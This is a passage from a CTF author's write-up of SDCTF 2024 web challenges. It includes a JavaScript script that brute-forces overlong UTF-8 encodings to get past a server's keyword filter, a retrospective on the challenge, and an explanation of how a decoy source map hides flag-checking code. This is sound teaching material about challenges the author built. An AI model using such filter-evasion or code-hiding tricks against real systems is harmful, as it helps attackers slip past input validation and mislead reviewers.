<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nx">TextDecoder</span> <span class="p">{</span>
  <span class="nx">decode</span> <span class="p">(</span><span class="nx">bytes</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">let</span> <span class="nx">expect</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="kd">let</span> <span class="nx">str</span> <span class="o">=</span> <span class="dl">''</span>
    <span class="kd">let</span> <span class="nx">codePoint</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">byte</span> <span class="k">of</span> <span class="nx">bytes</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">if</span> <span class="p">(</span><span class="nx">expect</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="nx">byte</span> <span class="o">&gt;&gt;</span> <span class="mi">6</span> <span class="o">===</span> <span class="mb">0b10</span><span class="p">)</span> <span class="p">{</span>
          <span class="nx">codePoint</span> <span class="o">&lt;&lt;=</span> <span class="mi">6</span>
          <span class="nx">codePoint</span> <span class="o">|=</span> <span class="nx">byte</span> <span class="o">&amp;</span> <span class="mb">0b111111</span>
          <span class="nx">expect</span><span class="o">--</span>
          <span class="k">if</span> <span class="p">(</span><span class="nx">expect</span> <span class="o">===</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="nx">str</span> <span class="o">+=</span> <span class="nb">String</span><span class="p">.</span><span class="nx">fromCodePoint</span><span class="p">(</span><span class="nx">codePoint</span><span class="p">)</span>
          <span class="p">}</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
          <span class="nx">console</span><span class="p">.</span><span class="nx">warn</span><span class="p">(</span>
            <span class="dl">'</span><span class="s1">expected continuation byte</span><span class="dl">'</span><span class="p">,</span>
            <span class="nx">byte</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">2</span><span class="p">).</span><span class="nx">padStart</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="dl">'</span><span class="s1">0</span><span class="dl">'</span><span class="p">)</span>
          <span class="p">)</span>
          <span class="nx">str</span> <span class="o">+=</span> <span class="dl">'</span><span class="se">\</span><span class="s1">ufffd</span><span class="dl">'</span>
        <span class="p">}</span>
      <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="nx">byte</span> <span class="o">&gt;&gt;</span> <span class="mi">5</span> <span class="o">===</span> <span class="mb">0b110</span><span class="p">)</span> <span class="p">{</span>
          <span class="nx">expect</span> <span class="o">=</span> <span class="mi">1</span>
          <span class="nx">codePoint</span> <span class="o">=</span> <span class="nx">byte</span> <span class="o">&amp;</span> <span class="mb">0b11111</span>
        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">byte</span> <span class="o">&gt;&gt;</span> <span class="mi">4</span> <span class="o">===</span> <span class="mb">0b1110</span><span class="p">)</span> <span class="p">{</span>
          <span class="nx">expect</span> <span class="o">=</span> <span class="mi">2</span>
          <span class="nx">codePoint</span> <span class="o">=</span> <span class="nx">byte</span> <span class="o">&amp;</span> <span class="mb">0b1111</span>
        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">byte</span> <span class="o">&gt;&gt;</span> <span class="mi">3</span> <span class="o">===</span> <span class="mb">0b11110</span><span class="p">)</span> <span class="p">{</span>
          <span class="nx">expect</span> <span class="o">=</span> <span class="mi">3</span>
          <span class="nx">codePoint</span> <span class="o">=</span> <span class="nx">byte</span> <span class="o">&amp;</span> <span class="mb">0b111</span>
        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">byte</span> <span class="o">&gt;&gt;</span> <span class="mi">7</span> <span class="o">===</span> <span class="mb">0b0</span><span class="p">)</span> <span class="p">{</span>
          <span class="nx">str</span> <span class="o">+=</span> <span class="nb">String</span><span class="p">.</span><span class="nx">fromCodePoint</span><span class="p">(</span><span class="nx">byte</span><span class="p">)</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
          <span class="nx">console</span><span class="p">.</span><span class="nx">warn</span><span class="p">(</span><span class="dl">'</span><span class="s1">expected first byte</span><span class="dl">'</span><span class="p">,</span> <span class="nx">byte</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">2</span><span class="p">).</span><span class="nx">padStart</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="dl">'</span><span class="s1">0</span><span class="dl">'</span><span class="p">))</span>
          <span class="nx">str</span> <span class="o">+=</span> <span class="dl">'</span><span class="se">\</span><span class="s1">ufffd</span><span class="dl">'</span>
        <span class="p">}</span>
      <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">expect</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="nx">console</span><span class="p">.</span><span class="nx">warn</span><span class="p">(</span><span class="dl">'</span><span class="s1">expected completed sequence</span><span class="dl">'</span><span class="p">)</span>
      <span class="nx">str</span> <span class="o">+=</span> <span class="dl">'</span><span class="se">\</span><span class="s1">ufffd</span><span class="dl">'</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="nx">str</span>
  <span class="p">}</span>
<span class="p">}</span>
<span class="kd">const</span> <span class="nx">gg</span> <span class="o">=</span> <span class="nx">char</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">codePoint</span> <span class="o">=</span> <span class="nx">char</span><span class="p">.</span><span class="nx">codePointAt</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">??</span> <span class="mh">0xfffd</span>
  <span class="k">return</span> <span class="p">[</span>
    <span class="c1">// [codePoint],</span>
    <span class="p">[</span>
      <span class="mb">0b110_00000</span> <span class="o">|</span> <span class="p">((</span><span class="nx">codePoint</span> <span class="o">&gt;&gt;</span> <span class="mi">6</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mb">0b11111</span><span class="p">),</span>
      <span class="mb">0b100_00000</span> <span class="o">|</span> <span class="p">(</span><span class="nx">codePoint</span> <span class="o">&amp;</span> <span class="mb">0b111111</span><span class="p">)</span>
    <span class="p">],</span>
    <span class="p">[</span>
      <span class="mb">0b111_00000</span> <span class="o">|</span> <span class="p">((</span><span class="nx">codePoint</span> <span class="o">&gt;&gt;</span> <span class="mi">12</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mb">0b1111</span><span class="p">),</span>
      <span class="mb">0b100_00000</span> <span class="o">|</span> <span class="p">((</span><span class="nx">codePoint</span> <span class="o">&gt;&gt;</span> <span class="mi">6</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mb">0b111111</span><span class="p">),</span>
      <span class="mb">0b100_00000</span> <span class="o">|</span> <span class="p">(</span><span class="nx">codePoint</span> <span class="o">&amp;</span> <span class="mb">0b111111</span><span class="p">)</span>
    <span class="p">],</span>
    <span class="p">[</span>
      <span class="mb">0b111_10000</span> <span class="o">|</span> <span class="p">((</span><span class="nx">codePoint</span> <span class="o">&gt;&gt;</span> <span class="mi">18</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mb">0b111</span><span class="p">),</span>
      <span class="mb">0b100_00000</span> <span class="o">|</span> <span class="p">((</span><span class="nx">codePoint</span> <span class="o">&gt;&gt;</span> <span class="mi">12</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mb">0b111111</span><span class="p">),</span>
      <span class="mb">0b100_00000</span> <span class="o">|</span> <span class="p">((</span><span class="nx">codePoint</span> <span class="o">&gt;&gt;</span> <span class="mi">6</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mb">0b111111</span><span class="p">),</span>
      <span class="mb">0b100_00000</span> <span class="o">|</span> <span class="p">(</span><span class="nx">codePoint</span> <span class="o">&amp;</span> <span class="mb">0b111111</span><span class="p">)</span>
    <span class="p">]</span>
  <span class="p">]</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">f</span> <span class="k">of</span> <span class="nx">gg</span><span class="p">(</span><span class="dl">'</span><span class="s1">f</span><span class="dl">'</span><span class="p">))</span>
  <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">l</span> <span class="k">of</span> <span class="nx">gg</span><span class="p">(</span><span class="dl">'</span><span class="s1">l</span><span class="dl">'</span><span class="p">))</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">a</span> <span class="k">of</span> <span class="nx">gg</span><span class="p">(</span><span class="dl">'</span><span class="s1">a</span><span class="dl">'</span><span class="p">))</span>
      <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">g</span> <span class="k">of</span> <span class="nx">gg</span><span class="p">(</span><span class="dl">'</span><span class="s1">g</span><span class="dl">'</span><span class="p">))</span> <span class="p">{</span>
        <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span>
          <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">.</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
            <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
            <span class="na">body</span><span class="p">:</span> <span class="k">new</span> <span class="nx">Blob</span><span class="p">([</span><span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">([</span><span class="nx">f</span><span class="p">,</span> <span class="nx">l</span><span class="p">,</span> <span class="nx">a</span><span class="p">,</span> <span class="nx">g</span><span class="p">].</span><span class="nx">flat</span><span class="p">())])</span>
          <span class="p">})</span>
            <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">r</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">.</span><span class="nx">arrayBuffer</span><span class="p">())</span>
            <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">b</span> <span class="o">=&gt;</span> <span class="k">new</span> <span class="nx">TextDecoder</span><span class="p">().</span><span class="nx">decode</span><span class="p">(</span><span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">(</span><span class="nx">b</span><span class="p">)))</span>
        <span class="p">)</span>
      <span class="p">}</span>
</code></pre></div></div>

<h3 id="retrospective">Retrospective</h3>

<p>UTF-wait wasn’t solved until about 5 am, 10 hours into the competition. At that time, I hadn’t released my other web challenges yet (because I was working on them 😜), so that was the first and only web solve—all the web challenges were difficult. At the end of the CTF, there were only 7 solves. That was fewer than I expected.</p>

<p>It seems like few people even attempted the challenge, based on the relative lack of tickets opened compared to other challenges, especially on the first day of the CTF.</p>

<p>Maybe I miscategorized the challenge—I think most CTF players who specialize in web are specialized in SQL and DOM injections and the like. Knowing about how text is encoded is probably out of their scope. I think a text encoding challenge like this would be better suited for crypto or rev players.</p>

<p>Based on the tickets, people were able to decode the site. Someone was able to decode it with CyberChef, and another person found that Vim was able to decode it too, which is pretty surprising.</p>

<p>A common theme among the tickets was that while they could decode the site, they didn’t know they also had to encode <code class="language-plaintext highlighter-rouge">flag</code> in a similar way. I had to explain to them that it was nondeterministic, so brute forcing might be necessary.</p>

<p>What concerned me was that a few times, people revealed that they’ve tried to brute force finding the flag, and a different admin would reprimand them for violating rule 6:</p>

<blockquote>
  <p><strong>Rule 6:</strong></p>

  <p><strong>Do not run automated tools</strong> on our targets unless given express permission. This includes disruptive software such as bruteforcers, fuzzers, and other software that may disrupt the competition for other players. <strong>You will not require these tools.</strong></p>
</blockquote>

<p>This was the rule I was worried that might discourage players from properly solving the challenge. Nick had assured me that the brute forcing involved didn’t fall under these “automated tools,” but evidently even other admins didn’t think that way.</p>

<p>This was why I decided to release clarification around 4 hours before the end of the CTF.</p>

<p>It also seems some teams solved it just by looking at the patterns in the bytes. Because my encoder exclusively uses 2–4-byte sequences, the final byte is always of the form <code class="language-plaintext highlighter-rouge">10xxxxxx</code>, with the last 6 bits of the character’s code value. For many characters, including the letters of <code class="language-plaintext highlighter-rouge">flag</code>, the 7th bit, which is in the byte before, is always 1. Since the rest of the bits are 0, many teams discovered that there are only three types of prefixes for each character:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">1111_0000 1000_0000 1000_0001 10xx_xxxx</code> -&gt; <code class="language-plaintext highlighter-rouge">f0 80 81 xx</code></li>
  <li><code class="language-plaintext highlighter-rouge">1110_0000 1000_0001 10xx_xxxx</code> -&gt; <code class="language-plaintext highlighter-rouge">e0 81 xx</code></li>
  <li><code class="language-plaintext highlighter-rouge">1100_0001 10xx_xxxx</code> -&gt; <code class="language-plaintext highlighter-rouge">c1 xx</code></li>
</ul>

<p>While this approach works, it is a bit unfortunate that teams could solve the challenge without taking away a better understanding of how UTF-8 works.</p>

<p>Finally, I didn’t really realize this until after a fellow admin posted a “bad CTF bingo” meme, but having source code is pretty important for making a CTF challenge enjoyable. I think it is possible for me to adapt at least my <a href="https://github.com/acmucsd/sdctf-2024/blob/main/web/utf-wait/server.c">server.c</a> file so it can be published without giving everything away.</p>

<p><img src="../images/sdctf24/bingo.png" alt="Bad CTF BINGO!!!" /></p>

<p>So, if I could redo this challenge again, my takeaways from this CTF are:</p>

<ul>
  <li>
    <p>Randomize the encoding on each request to make it more obvious that it’s randomized</p>

    <ul>
      <li>Alternatively, I could try avoiding randomization because it might lead teams into thinking cryptography is involved</li>
    </ul>
  </li>
  <li>
    <p>As I thought, I do need to clarify when brute forcing is acceptable</p>
  </li>
  <li>
    <p>Provide as much source code as possible</p>
  </li>
</ul>

<h2 id="webopen-source">web/open-source</h2>

<p><img src="../images/sdctf24/web/open-source/landing.png" alt="Landing page for open-source.
you ponder: is this a real flag? (text field)
check the console!" /></p>

<blockquote>
  <p><strong>open-source</strong>: 100 pts, 106 solves</p>

  <hr />

  <p><strong>Author</strong>: Sean<br /> <strong>Difficulty</strong>: Easy<br /> <strong>Category</strong>: Web</p>

  <hr />

  <p>“open source” in the sense that if you open inspect element and go to the source tab all the source code is there!</p>
</blockquote>

<p>This challenge was released late. At 6 am, 11 hours into the CTF, I announced:</p>

<blockquote>
  <p>@Participant <em>two</em> web challenges just dropped! they’re both .. “easy” .. supposedly (<del>no web challenges have been solved yet</del> 💀 so who knows)</p>

  <p>👉 <strong>web/calculator</strong> has source files!! devour them as you please</p>

  <p>👉 <strong>web/open-source</strong> is also “open source” ,, just open inspect element and youll see all the code there for you! 😁</p>
</blockquote>

<p><a href="https://github.com/acmucsd/sdctf-2024/tree/main/web/open-source">GitHub source</a></p>

<h3 id="inspiration-1">Inspiration</h3>

<p>It was clear that SDCTF needed more beginner-friendly challenges. I thought it ought to be pretty easy to make easy challenges, so this was the first one I came up with.</p>

<p>I just wanted to try hiding code by using a source map.</p>

<h3 id="development-1">Development</h3>

<p>I wanted the challenge to be straightforward, so I decided to keep the flag in the client’s code. However, I didn’t want it to be as easy as opening the index.js file and ctrl+F’ing <code class="language-plaintext highlighter-rouge">sdctf</code>.</p>

<p>So, I spent some time lazily obfuscating the code, largely just by <a href="https://github.com/acmucsd/sdctf-2024/blob/main/web/open-source/src/index.js">importing a bunch of libraries</a>, then using their exports to avoid them being tree shaken away.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="o">*</span> <span class="k">as</span> <span class="nx">wh1t</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">axios</span><span class="dl">'</span>
<span class="k">import</span> <span class="o">*</span> <span class="k">as</span> <span class="nx">wh2t</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">lodash</span><span class="dl">'</span>
<span class="k">import</span> <span class="o">*</span> <span class="k">as</span> <span class="nx">wh3t</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">moment</span><span class="dl">'</span>
<span class="k">import</span> <span class="o">*</span> <span class="k">as</span> <span class="nx">wh4t</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">react</span><span class="dl">'</span>
<span class="k">import</span> <span class="o">*</span> <span class="k">as</span> <span class="nx">wh5t</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">react-dom</span><span class="dl">'</span>
<span class="k">import</span> <span class="o">*</span> <span class="k">as</span> <span class="nx">wh6t</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">uuid</span><span class="dl">'</span>
<span class="k">import</span> <span class="o">*</span> <span class="k">as</span> <span class="nx">what</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">./important</span><span class="dl">'</span>

<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span>
  <span class="s2">`{</span><span class="p">${</span><span class="nb">Object</span><span class="p">.</span><span class="nx">keys</span><span class="p">({</span>
    <span class="p">...</span><span class="nx">wh1t</span><span class="p">,</span>
    <span class="p">...</span><span class="nx">wh2t</span><span class="p">,</span>
    <span class="p">...</span><span class="nx">wh3t</span><span class="p">,</span>
    <span class="p">...</span><span class="nx">what</span><span class="p">,</span>
    <span class="p">...</span><span class="nx">wh4t</span><span class="p">,</span>
    <span class="p">...</span><span class="nx">wh5t</span><span class="p">,</span>
    <span class="p">...</span><span class="nx">wh6t</span>
  <span class="p">}).</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="s1">}{</span><span class="dl">'</span><span class="p">)}</span><span class="s2">}`</span><span class="p">.</span><span class="nx">length</span>
<span class="p">)</span>
</code></pre></div></div>

<p>For the flag, I just created a bunch of silly functions to output individual characters. The minifier will mangle the function names, but just in case, I gave them silly names.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">export</span> <span class="kd">const</span> <span class="nx">bana</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">a</span><span class="dl">'</span>
<span class="k">export</span> <span class="kd">const</span> <span class="nx">bananana</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">a</span><span class="dl">'</span> <span class="c1">// this one is to keep them on their toes</span>
<span class="k">export</span> <span class="kd">const</span> <span class="nx">c</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">c</span><span class="dl">'</span>
<span class="k">export</span> <span class="kd">const</span> <span class="nx">dirby</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">d</span><span class="dl">'</span>
<span class="k">export</span> <span class="kd">const</span> <span class="nx">extremely</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">e</span><span class="dl">'</span>
<span class="k">export</span> <span class="kd">const</span> <span class="nx">orange</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">f</span><span class="dl">'</span>
<span class="k">export</span> <span class="kd">const</span> <span class="nx">teapot</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">f</span><span class="dl">'</span>
<span class="k">export</span> <span class="kd">const</span> <span class="nx">banana</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">g</span><span class="dl">'</span>
<span class="k">export</span> <span class="kd">const</span> <span class="nx">apple</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">l</span><span class="dl">'</span>
<span class="k">export</span> <span class="kd">const</span> <span class="nx">not</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">n</span><span class="dl">'</span>
<span class="k">export</span> <span class="kd">const</span> <span class="nx">particularly</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">p</span><span class="dl">'</span>
<span class="k">export</span> <span class="kd">const</span> <span class="nx">seed</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">s</span><span class="dl">'</span>
<span class="k">export</span> <span class="kd">const</span> <span class="nx">torch</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">t</span><span class="dl">'</span>
<span class="k">export</span> <span class="kd">const</span> <span class="nx">interesting</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">e</span><span class="dl">'</span>
<span class="k">export</span> <span class="kd">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">not</span><span class="p">,</span> <span class="nx">particularly</span><span class="p">,</span> <span class="nx">interesting</span> <span class="p">}</span>
</code></pre></div></div>

<p>Finally, the flag is constructed out of these functions:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="p">{</span> <span class="nx">teapot</span><span class="p">,</span> <span class="nx">apple</span><span class="p">,</span> <span class="nx">bana</span><span class="p">,</span> <span class="nx">banana</span><span class="p">,</span> <span class="nx">seed</span><span class="p">,</span> <span class="nx">dirby</span><span class="p">,</span> <span class="nx">c</span><span class="p">,</span> <span class="nx">torch</span><span class="p">,</span> <span class="nx">obj</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">./huh</span><span class="dl">'</span>

<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">Flag checker time!</span><span class="dl">'</span><span class="p">)</span>
<span class="nx">what</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">'</span><span class="s1">submit</span><span class="dl">'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">Checking flag...!</span><span class="dl">'</span><span class="p">)</span>
  <span class="nx">alert</span><span class="p">(</span>
    <span class="k">new</span> <span class="nx">FormData</span><span class="p">(</span><span class="nx">what</span><span class="p">).</span><span class="kd">get</span><span class="p">(</span><span class="nx">teapot</span><span class="p">()</span> <span class="o">+</span> <span class="nx">apple</span><span class="p">()</span> <span class="o">+</span> <span class="nx">bana</span><span class="p">()</span> <span class="o">+</span> <span class="nx">banana</span><span class="p">())</span> <span class="o">===</span>
      <span class="p">[</span><span class="nx">seed</span><span class="p">,</span> <span class="nx">dirby</span><span class="p">,</span> <span class="nx">c</span><span class="p">,</span> <span class="nx">torch</span><span class="p">,</span> <span class="nx">teapot</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="s2">`{</span><span class="p">${</span><span class="nb">Object</span><span class="p">.</span><span class="nx">keys</span><span class="p">(</span><span class="nx">obj</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="s1">_</span><span class="dl">'</span><span class="p">)}</span><span class="s2">}`</span><span class="p">]</span>
        <span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">a</span> <span class="o">=&gt;</span> <span class="nx">a</span><span class="p">())</span>
        <span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">''</span><span class="p">)</span>
      <span class="p">?</span> <span class="dl">'</span><span class="s1">true!! this is the real flag</span><span class="dl">'</span>
      <span class="p">:</span> <span class="dl">'</span><span class="s1">false</span><span class="dl">'</span>
  <span class="p">)</span>
<span class="p">})</span>
</code></pre></div></div>

<p>For the source map, I first wrote code that could feasibly produce the same observed output in the console. I made it clear that it wasn’t the real flag by using a <code class="language-plaintext highlighter-rouge">ctf</code> instead of <code class="language-plaintext highlighter-rouge">sdctf</code> prefix, but in the logs, it seems people tried guessing <code class="language-plaintext highlighter-rouge">ctf{this_is_not_the_flag}</code> anyways.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">form</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">form</span><span class="dl">'</span><span class="p">)</span>
<span class="nx">form</span><span class="p">.</span><span class="nx">onsubmit</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">Checking flag...!</span><span class="dl">'</span><span class="p">)</span>
  <span class="nx">alert</span><span class="p">(</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="dl">'</span><span class="s1">[name=flag]</span><span class="dl">'</span><span class="p">).</span><span class="nx">value</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">ctf{this_is_not_the_flag}</span><span class="dl">'</span>
      <span class="p">?</span> <span class="dl">'</span><span class="s1">true!! this is the FAKE flag</span><span class="dl">'</span>
      <span class="p">:</span> <span class="dl">'</span><span class="s1">false</span><span class="dl">'</span>
  <span class="p">)</span>
<span class="p">}</span>

<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">Flag checker time!</span><span class="dl">'</span><span class="p">)</span>

<span class="c1">//</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">moment</span><span class="dl">'</span><span class="p">).</span><span class="nx">__LIB_ID</span><span class="p">)</span>
</code></pre></div></div>

<p>Ideally, I wanted each line of the minified source file to correspond to its line in the fake source code.</p>

<p>However, I was lazy.</p>

<p>The <a href="https://web.dev/articles/source-maps#understand">structure of source maps</a><sup id="fnref:10" role="doc-noteref"><a href="#fn:10" class="footnote" rel="footnote">5</a></sup> seemed pretty straightforward. The hardest part to understand was the mappings itself. They were based on some base64 encoding involving some “VLQ” of an array of 4-ish numbers, and I wasn’t sure what those numbers represented.</p>

<p>I decided to leave that up to <a href="https://www.npmjs.com/package/vlq">a library</a>, which happened to have a <a href="https://github.com/Rich-Harris/vlq/tree/master/sourcemaps">helpful page explaining what the numbers meant</a>. I decided to just map the entire minified line with my code (and other unrelated lines) to the entirety of the source code. This essentially means using <code class="language-plaintext highlighter-rouge">[]</code> for all lines of the minified index.js except for the line I want, and then use <code class="language-plaintext highlighter-rouge">[0, 0, 0, 0]</code> for that line:</p>

<ul>
  <li>The first zero means the mapping for the minified file is for the entire line (column 0 to the end).</li>
  <li>The second zero refers to the first source file defined in the source map’s <code class="language-plaintext highlighter-rouge">sources</code> array.</li>
  <li>The third zero means the mapped source starts on the first line.</li>
  <li>The fourth zero means the mapped source starts on the first character of the first line.</li>
</ul>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">writeFile</span><span class="p">(</span>
  <span class="dl">'</span><span class="s1">./static/index.js.map</span><span class="dl">'</span><span class="p">,</span>
  <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">({</span>
    <span class="na">version</span><span class="p">:</span> <span class="mi">3</span><span class="p">,</span>
    <span class="na">sources</span><span class="p">:</span> <span class="p">[</span><span class="dl">'</span><span class="s1">index.js</span><span class="dl">'</span><span class="p">],</span>
    <span class="na">sourcesContent</span><span class="p">:</span> <span class="p">[</span><span class="nx">code</span><span class="p">],</span>
    <span class="na">mappings</span><span class="p">:</span> <span class="nx">lines</span>
      <span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">line</span> <span class="o">=&gt;</span>
        <span class="nx">line</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">'</span><span class="s1">this is the real flag</span><span class="dl">'</span><span class="p">)</span> <span class="p">?</span> <span class="nx">encode</span><span class="p">([</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">])</span> <span class="p">:</span> <span class="dl">''</span>
      <span class="p">)</span>
      <span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="s1">;</span><span class="dl">'</span><span class="p">),</span>
    <span class="na">names</span><span class="p">:</span> <span class="p">[</span><span class="dl">'</span><span class="s1">form</span><span class="dl">'</span><span class="p">]</span>
  <span class="p">})</span>
<span class="p">)</span>
</code></pre></div></div>

<p>Since the mapping only specifies when it starts (its end is implied by the next mapping), this should be enough to map the entire line of the minified file to the entire fake source code.</p>

<p>However, this meant that when I follow the <code class="language-plaintext highlighter-rouge">console.log</code> statements from the console to the source tab (in both Firefox and Chrome), it would always highlight the first line of the source file rather than the fake <code class="language-plaintext highlighter-rouge">console.log</code> statement. But I decided people probably wouldn’t pay close attention to that.</p>

<p>Finally, I made a pretty little glassmorphic interface. The blur radius seems to get capped on Firefox, but it still looks acceptable.</p>

<p><img src="../images/sdctf24/web/open-source/firefox.png" alt="The web page on Firefox, which has more vivid colors, and the pill shapes are more obvious" /></p>

<h3 id="solution-1">Solution</h3>

<p>To be honest, I never tried retrieving the flag myself. When testing the challenge, I just pasted the correct flag into the input to make sure it alerts <code class="language-plaintext highlighter-rouge">true!! this is the real flag</code>. I just assumed that since the flag had to be computed directly to compare it with the input value.</p>

<p>But my approach would be to inspect element the text field, look for its event listeners. Clicking on the <code class="language-plaintext highlighter-rouge">index.js:1</code> brought me to the fake source code, and clicking on the minified code didn’t take me to the function. But right clicking and saving the handler as a global variable did reveal its real contents, which I could search in the minified code.</p>

<p><img src="../images/sdctf24/web/open-source/listeners.png" alt="The ancestor event listeners for the text field include a submit event. I store it as a global variable." /></p>

<p>Then, I would set a breakpoint in the event handler. Except for some reason in Chrome, it would take me back to the source mapped code, and it wouldn’t even set the breakpoint on the right line. Interesting!</p>

<p>And in Firefox, because the minified code has a source map associated with it, it refuses to prettify the code.</p>

